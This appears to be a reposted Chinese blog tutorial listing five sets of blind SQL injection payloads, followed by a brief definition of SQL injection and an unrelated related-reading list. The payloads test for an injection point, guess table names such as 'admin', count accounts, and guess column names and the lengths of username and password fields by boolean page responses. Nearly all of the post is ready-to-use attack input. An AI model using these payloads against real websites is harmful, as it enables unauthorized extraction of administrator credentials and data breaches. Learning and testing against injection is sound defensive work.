zoukankan      html  css  js  c++  java
  • SQL注入语句五例

    SQL注入语句是学习SQL语句过程中需要掌握的知识,下面就为您介绍5个标准的SQL注入语句,希望对您了解SQL注入语句有所帮助。

    1.判断有无注入点

    1. ; and 11=1 and 1=2 

     

    2.猜表一般的表的名称无非是admin adminuser user pass password 等..

    1. and 0<>(select count(*) from *)  
    2. and 0<>(select count(*) from admin) ---判断是否存在admin这张表 

     

    3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

    1. and 0<(select count(*) from admin)  
    2. and 1<(select count(*) from admin) 

     

    4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

    1. and 1=(select count(*) from admin where len(*)>0)--  
    2. and 1=(select count(*) from admin where len(用户字段名称name)>0)   
    3. and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0) 

     

    5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

    1. and 1=(select count(*) from admin where len(*)>0)   
    2. and 1=(select count(*) from admin where len(name)>6) 错误  
    3. and 1=(select count(*) from admin where len(name)>5) 正确 长度是6  
    4. and 1=(select count(*) from admin where len(name)=6) 正确  
    5.  
    6. and 1=(select count(*) from admin where len(password)>11) 正确  
    7. and 1=(select count(*) from admin where len(password)>12) 错误 长度是12  
    8. and 1=(select count(*) from admin where len(password)=12) 正确 

    延伸阅读

    所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.

  • 相关阅读:
    VCL源码修改立即生效
    让C++控制台程序停下来,实现暂停功能
    Ubuntu系统中初次下载Android源码的一点经验
    理解SetCapture、ReleaseCapture、GetCapture(控制了消息发往哪个窗口,即消息窗口)
    又发现2个高人写的Delphi图文并茂的消息研究
    0x0118消息就是WM_SYSTIMER
    QT信号槽与Delphi事件的对比
    使用VS2005安装和编译QT4.53源码
    使用SmsManager服务群发短信
    减小VirtualBox虚拟硬盘文件的大小
  • 原文地址:https://www.cnblogs.com/wangjiangze/p/3053405.html
Copyright © 2011-2022 走看看